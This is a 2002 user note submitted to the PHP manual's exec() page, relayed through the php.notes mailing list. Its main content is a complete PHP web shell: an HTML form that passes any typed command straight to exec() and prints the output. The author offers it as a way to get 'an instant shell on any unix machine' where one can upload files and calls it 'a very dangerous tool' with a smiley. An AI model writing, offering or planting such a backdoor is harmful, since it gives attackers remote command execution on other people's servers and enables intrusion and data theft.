note 24046 added to function.exec
| From: | bob at ngo dot hu | Date: | Mon, 05 Aug 2002 11:09:54 +0000 |
| Subject: | note 24046 added to function.exec | ||
| Groups: | php.notes | ||
| Request: | Send a blank email to php-notes+get-34295@lists.php.net to get a copy of this message | ||
Well, it's a very good tool to get an instant shell on any unix machine on that you've got
file uploading permission.
For example:
<html><head></head><body><form name="form"
method="post">
sh~$ <input type="text" name="cmd" size="32">
<input type="submit" name="submit" value=" OK "></form>
<?php
if(isset($cmd)) {
exec(urldecode($cmd." 2>&1"),$f1,$r1);
if($r1 == 0) {
print("<pre>\n");
foreach($f1 as $f2) print(htmlentities($f2)."\n");
print("</pre>\n"); }
else print("ERROR: $f1[0]<br>\n");
}
?>
</body></html>
I think it's a very dangerous tool :)))
--
http://www.php.net/manual/en/function.exec.php
http://master.php.net/manage/user-notes.php?action=edit+24046
http://master.php.net/manage/user-notes.php?action=delete+24046
http://master.php.net/manage/user-notes.php?action=reject+24046